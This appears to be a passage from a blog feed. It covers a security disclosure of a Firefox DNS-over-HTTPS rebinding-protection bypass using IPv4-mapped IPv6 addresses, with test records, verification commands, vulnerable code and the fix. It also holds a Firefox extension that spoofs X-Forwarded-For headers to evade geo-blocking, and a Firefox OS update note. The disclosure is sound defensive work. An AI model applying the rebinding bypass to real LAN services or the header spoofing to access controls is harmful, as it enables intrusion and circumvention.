if let Some(origin) = origin_header {\n let mut valid_host = false;\n let host_url = Url::parse(&origin).ok();\n let host = host_url.as_ref().and_then(|x| x.host().to_owned());\n if let Some(host) = host {\n valid_host = match host {\n Host::Domain(\"localhost\") => true,\n Host::Domain(_) => false,\n Host::Ipv4(x) => address.is_ipv4() && x == address.ip(),\n Host::Ipv6(x) => address.is_ipv6() && x == address.ip(),\n };\n }\n if !valid_host {\n return warp::reply::with_status(\n \"Invalid origin\".to_string(),\n StatusCode::BAD_REQUEST,\n );\n }\n}\n
\nGeckoDriver now passes the --marionette
agument instead of the -marionette
argument.\nMost programs should reject this argument.
In addition, Firefox now checks that ths program specified in\nmoz:firefoxOptions
/binary
is actually a Firefox instance.
I found that\nthe filtering of private IPv4 addresses\nin the DNS-over-HTTPS (DoH) implementation of Firefox could by bypassed.\nThis is CVE-2020-26961\nand Mozilla bug 1672528.\nIt has been fixed in Firefox 83,\nFirefox ESR 78.5\nand Thunderbird 78.5.
\nWhen using Firefox builtin support for DoH[1],\nprivate IPv4 addresses (RFC1918)\nare rejected (ignored) by default (network.trr.allow-rfc1918=false
).\nThis protection can prevent some form of browser-based attacks of machines located\non the LAN (DNS rebinding attacks).\nI found this protection could by bypassed\nby using a IPv4-mapped IPv6 address\n(eg. ::ffff:192.168.1.254).
Wording from the CVE entry:
\n\n\nWhen DNS over HTTPS is in use, it intentionally filters RFC1918 and related IP ranges from the responses\nas these do not make sense coming from a DoH resolver. However when an IPv4 address\nwas mapped through IPv6, these addresses were erroneously let through,\nleading to a potential DNS Rebinding attack.\nThis vulnerability affects Firefox < 83, Firefox ESR < 78.5, and Thunderbird < 78.5.
\n
DNS rebinding is a technique which exploits the user browser for attacking other services.\nIt is especially powerful against many LAN-only (or localhost-only)\nservices such as routers,\nsmart TVs, etc.\nThese services are often designed under the assumption that they are\nonly reachable by local machines.\nThey often (sometimes for convenience)\nexpose services without authentication\nor lack proper security.
\nSome network operators block private IPv4 addresses\nin DNS responses coming of of their recursive resolvers\nas a protection against DNS rebinding attacks.\nWhen Firefox uses its own DoH implementation,\nany DNS rebinding protection implemented by the network operator\n(or by the system) would be bypassed.\nHowever, Firefox implements its own DNS-rebinding protection\nin this case (by default i.e. when network.trr.allow-rfc1918=false
).
As the DNS-rebinding protection implemented in Firefox DoH could easily\nbe bypassed, enabling DoH in Firefox could open the local\nservices to DNS-rebinding attacks.
\nIn order to test this, I have created some domaine name records:
\nwat4 A 192.168.1.254\nwat6 AAAA ::ffff:192.168.1.254\n
\nLet's check them on the command-line interface:
\ndig @1.1.1.1 +short A wat4.urdhr.fr\n# => 192.168.1.254\ndig @1.1.1.1 +short AAAA wat6.urdhr.fr\n# => ::ffff:192.168.1.254\n
\nWe are going to configure Firefox to use a DoH resolver (in about:config
):
# Force DoH:\nnetwork.trr.mode=5\n# Choose a specific DoH resolver:\nnetwork.trr.custom_uri=https://cloudflare-dns.com/dns-query\n# Disabled private IPv4 addresses from DoH (this is the default):\nnetwork.trr.allow-rfc1918=false\n
\nLe'ts first check that the DoH resolver we are going to use actually\nresolves our domains.\nWe can use the dnspython library\nfor this:
\nimport dns.query\nimport dns.message\nresolver = \"https://cloudflare-dns.com/dns-query\"\ndns.query.https(dns.message.make_query(\"wat4.urdhr.fr\", \"A\"), resolver).answer\n# => [<DNS wat4.urdhr.fr. IN A RRset: [<192.168.1.254>]>]\ndns.query.https(dns.message.make_query(\"wat6.urdhr.fr\", \"AAAA\"), resolver).answer\n# => [<DNS wat6.urdhr.fr. IN AAAA RRset: [<::ffff:192.168.1.254>]>]\n
\nNow let's try using Firefox:
\nhttp://wat4.urdhr.fr
is not reachable\nbecause the private IP address is rejected by Firefox (network.trr.allow-rfc1918=false
);http://wat6.urdhr.fr
is reachable\n(assuming a web server is running on this IP address and port).We have been able to bypass the filtering of private IPv4 addresses by\nusing a private IPv4-mapped IPv6 address.
\nThe process is as follow:
\nwat6.urdhr.fr
domain name is resolved to IPv6 ffff:192.168.1.254;NetAddr::IsIPAddrLocal()
;AF_INET6
address in DOHresp::Add()
;AF_INET6
address is passed to the kernel;The DOHresp::Add()
method is responsible for building a NetAddr
object from DNS bytes:
nsresult DOHresp::Add(uint32_t TTL, unsigned char* dns, unsigned int index,\n uint16_t len, bool aLocalAllowed) {\n NetAddr addr;\n if (4 == len) {\n // IPv4\n addr.inet.family = AF_INET;\n addr.inet.port = 0; // unknown\n addr.inet.ip = ntohl(get32bit(dns, index));\n } else if (16 == len) {\n // IPv6\n addr.inet6.family = AF_INET6;\n addr.inet6.port = 0; // unknown\n addr.inet6.flowinfo = 0; // unknown\n addr.inet6.scope_id = 0; // unknown\n for (int i = 0; i < 16; i++, index++) {\n addr.inet6.ip.u8[i] = dns[index];\n }\n } else {\n return NS_ERROR_UNEXPECTED;\n }\n\n if (addr.IsIPAddrLocal() && !aLocalAllowed) {\n\n return NS_ERROR_FAILURE;\n }\n\n // While the DNS packet might return individual TTLs for each address,\n // we can only return one value in the AddrInfo class so pick the\n // lowest number.\n if (mTtl < TTL) {\n mTtl = TTL;\n }\n\n if (LOG_ENABLED()) {\n char buf[128];\n addr.ToStringBuffer(buf, sizeof(buf));\n LOG((\"DOHresp:Add %s\\n\", buf));\n }\n mAddresses.AppendElement(addr);\n return NS_OK;\n}\n
\nThe aLocalAllowed
parameter of this method is controlled by the\nnetwork.trr.allow-rfc1918
configuration.
The important snippet is:
\nif (addr.IsIPAddrLocal() && !aLocalAllowed) {\n return NS_ERROR_FAILURE;\n}\n
\nThe NetAddr::IsIPAddrLocal()
method checks whether the IP address is a private one:
bool NetAddr::IsIPAddrLocal() const {\n const NetAddr* addr = this;\n\n // IPv4 RFC1918 and Link Local Addresses.\n if (addr->raw.family == AF_INET) {\n uint32_t addr32 = ntohl(addr->inet.ip);\n if (addr32 >> 24 == 0x0A || // 10/8 prefix (RFC 1918).\n addr32 >> 20 == 0xAC1 || // 172.16/12 prefix (RFC 1918).\n addr32 >> 16 == 0xC0A8 || // 192.168/16 prefix (RFC 1918).\n addr32 >> 16 == 0xA9FE) { // 169.254/16 prefix (Link Local).\n return true;\n }\n }\n // IPv6 Unique and Link Local Addresses.\n if (addr->raw.family == AF_INET6) {\n uint16_t addr16 = ntohs(addr->inet6.ip.u16[0]);\n if (addr16 >> 9 == 0xfc >> 1 || // fc00::/7 Unique Local Address.\n addr16 >> 6 == 0xfe80 >> 6) { // fe80::/10 Link Local Address.\n return true;\n }\n }\n // Not an IPv4/6 local address.\n return false;\n}\n
\nWe see that this method returns false
for IPv4-mapped IPv6 addresses.\nThe DOHresp::Add()
method then appends this IP address to the list of\navailable IP addresses.
This bug was fixed with:
\nstatic bool isLocalIPv4(uint32_t networkEndianIP) {\n uint32_t addr32 = ntohl(networkEndianIP);\n if (addr32 >> 24 == 0x0A || // 10/8 prefix (RFC 1918).\n addr32 >> 20 == 0xAC1 || // 172.16/12 prefix (RFC 1918).\n addr32 >> 16 == 0xC0A8 || // 192.168/16 prefix (RFC 1918).\n addr32 >> 16 == 0xA9FE) { // 169.254/16 prefix (Link Local).\n return true;\n }\n return false;\n}\n\nbool NetAddr::IsIPAddrLocal() const {\n const NetAddr* addr = this;\n\n // IPv4 RFC1918 and Link Local Addresses.\n if (addr->raw.family == AF_INET) {\n return isLocalIPv4(addr->inet.ip);\n }\n // IPv6 Unique and Link Local Addresses.\n // or mapped IPv4 addresses\n if (addr->raw.family == AF_INET6) {\n uint16_t addr16 = ntohs(addr->inet6.ip.u16[0]);\n if (addr16 >> 9 == 0xfc >> 1 || // fc00::/7 Unique Local Address.\n addr16 >> 6 == 0xfe80 >> 6) { // fe80::/10 Link Local Address.\n return true;\n }\n if (IPv6ADDR_IS_V4MAPPED(&addr->inet6.ip)) {\n return isLocalIPv4(IPv6ADDR_V4MAPPED_TO_IPADDR(&addr->inet6.ip));\n }\n }\n\n // Not an IPv4/6 local address.\n return false;\n}\n
\nWhile scanning the recent CVE entries,\nI found an interesting report about a\nDNS rebinding protection bypass for FRITZ!Box,\nCVE-2020-26887.\nThe local DNS resolver of the FRITZ!Box has a protection against\nDNS rebinding attack.\nIt works by rejecting DNS responses which include private IPv4 addresses (eg. 192.168.1.254
).\nHowever, this protection could be bypassed by using a private IPv4-mapped IPv6 addresses\n(eg. ::ffff:192.168.1.254
).
I first checked if we could use this technique to bypass the\nDNS-rebinding protection of the Freebox as well.\nThis approach does not work for the Freebox lccal DNS resolver:\nprivate IPv4-mapped IPv6 addresses are filtered as well.
\nThis led me to check how Firefox would behave when receiving\nIPv4-mapped IPv6 addresses from its own DoH implementation.
\nIn the Firefox codebase and documentation, this support is called\nTrusted Recursive Resolver (TRR). \u21a9\ufe0e
\nTrying to bring back some old IP spoofing Firefox extension\nfor watching South Park episodes.
\nYears ago, I was trying to watch the South Park episodes on the\nofficial website. While all the episodes were\nseemingly available for free on the website, they were sadly not available\nfrom a French IP address.\nSo I wrote a Firefox extension which would \u201cspoof\u201d a random US IP address.\nThe extension was sending a X-Forwarded-For
HTTP header with an US IP address\non all requests for www.southparkstudios.com
, media.mtvnservices.com
.\nAt that time these servers were happily trusting the IP address in the HTTP\nheader and would grant you access to the episodes \ud83d\ude00.
// Fake US IP address\n// taken from https://developer.mozilla.org/en/Setting_HTTP_request_headers\n\nfunction rand(min, max) {\n var range = max - min;\n return Math.floor((range+1)*Math.random()) + min;\n}\n\nvar ipSpoofer = {\n ip: \"199.\"+rand(236,240)+\".\"+rand(0,255)+\".\"+rand(1,254),\n started: false,\n checkSpoofability : function(httpChannel) {\n return true;\n var host = httpChannel.originalURI.host;\n return host == \"www.southparkstudios.com\" || host == \"media.mtvnservices.com\";\n },\n observe: function(subject, topic, data) {\n if (topic == \"http-on-modify-request\") {\n var httpChannel = subject.QueryInterface(Components.interfaces.nsIHttpChannel);\n if (this.checkSpoofability(httpChannel)) {\n httpChannel.setRequestHeader(\"X-Forwarded-For\", this.ip, false);\n }\n }\n },\n chooseIp : function() {\n\t this.ip = \"199.\"+rand(236,240)+\".\"+rand(0,255)+\".\"+rand(1,254);\n },\n start: function() {\n \tif (!this.started){\n \t if (!this.ip) {\n \t\t this.chooseIp();\n \t }\n \t Components.classes[\"@mozilla.org/observer-service;1\"].\n \t\tgetService(Components.interfaces.nsIObserverService).\n \t\taddObserver(this, \"http-on-modify-request\", false);\n \t this.started = true;\n \t}\n },\n stop: function() {\n \tif (this.started) {\n \t Components.classes[\"@mozilla.org/observer-service;1\"].\n \t\tgetService(Components.interfaces.nsIObserverService).\n \t\tremoveObserver(this, \"http-on-modify-request\");\n \t this.started = false;\n \t}\n }\n};\n\nfunction startup(data,reason) {\n ipSpoofer.start();\n}\n\nfunction shutdown(data,reason) {\n ipSpooder.stop();\n}\n
\nThe old-Firefox extensions do not work anymore on newest versions of Firefox,\nwith the new extensions system. I rewrote it in order to check if that old\ntrick was still working these days.
\nfunction rand(min, max) {\n const range = max - min;\n return Math.floor((range+1)*Math.random()) + min;\n}\n\nconst ip = \"199.\" + rand(236,240) + \".\" + rand(0,255) + \".\"+rand(1,254);\n\nfunction rewriteHeaders(req) {\n const url = new URL(req.url)\n const headers = Array.from(req.requestHeaders)\n headers.push({\n \"name\": \"X-Forwarded-For\",\n \"value\": ip\n });\n headers.push({\n \"name\": \"Forwarded\",\n \"value\": \"by=127.0.0.1; for=\" + ip + \"; host=\" + url.host+ \"; proto=\" + (url.protocol.replace(\":\", \"\")),\n });\n return {requestHeaders: headers};\n}\n\nbrowser.webRequest.onBeforeSendHeaders.addListener(\n rewriteHeaders,\n {urls: [\"<all_urls>\"]},\n [\"blocking\", \"requestHeaders\"]\n);\n
\nIt turns out, the servers do not blindly trust\nthose HTTP headers anymore these days. \ud83d\ude2d
\n"}, {"id": "http://www.gabriel.urdhr.fr/2015/03/29/update-firefox-os/", "title": "Updating Firefox OS", "url": "https://www.gabriel.urdhr.fr/2015/03/29/update-firefox-os/", "date_published": "2015-03-29T00:00:00+01:00", "date_modified": "2015-03-29T00:00:00+01:00", "tags": ["computer", "firefox"], "content_html": "I updated a Geeksphone Peak from\nFirefox OS 1.1 to Firefox OS\n2.1 and it was not that easy.
\nThe process is\nexplained\non the Mozilla developper website:
\nfirst backup everything (AFAIK, this is mostly useful if you want\nto restore your original OS);
\nflash the device with the suitable\nimage.
\nWhat was not so clear (and I found this out after flashing the device)\nis that if you try to restore your /data
partition in order to get\nyour data data, it won't work very well \ud83d\ude1e.\nYou obtain a weird/broken mix between the original version of the OS\nand the new one:
the installed applications were restored;
\nthe core applications (phone, messages) were nowhere to be found (so\nyou get a phone which cannot make phone calls);
\nthe contacts and messages were empty;
\nthe photos and videos were not still available (in fact, there is no\nneed to restore the /data
partition in order to get them as they\nare stored in a separate partition).
I get the same kind of behaviour when updating to either v1.4, v2.1,\nv2.2 beta.
\nIf your restore the original version of the OS, you get your data back\n(so the backup is not completely useless).
\nAt this point is seems that restoring the /data
partition on the new\nversion of the OS is quite pointless. So this is what I did:
Do not restore the /data
;
Photos and videos: nothing to do;
\nApplication: write a list of the installed applications and\ninstall them again on the new OS. You will lose the data associated\nwith the application. I guess it must be possible to restore the\ndata of specific applications with suitable adb push
but I didn't\ntry to do that.
Contact: export the contacts with\nContacts2XML\nin the original version of the OS and import them with\nXML2Contacts in\nthe new version of the OS;
\nMessages: I didn't find a solution to import/export them so\nthey are lost (they are still somewhere in the backup but not\nusable);
\nConfiguration: the configuration is lost and must be redone\n(mail servers, CalDAV\nconfiguration, etc.).
\nUpdate 2015-04-28: with the updated OS, the phone was having a\nlot of graphic glitches (for example, some parts of the windows would\nnot render at all) and crashes. I managed to fix this by unchecking\nmost of the options in the Developer menu. I don't know\nwhich options were responsible for the bugs. Currently, the only\nenabled options are:
\nAsync. Pan/Zoom in Graphics;
\nApp transition in Window Management.
\nI am not sure if doing all of this was necessary because v1.1 was a very old\nversion or if this will be necessary for a future update.
\nNow the geolocation works. \ud83d\ude0a
\n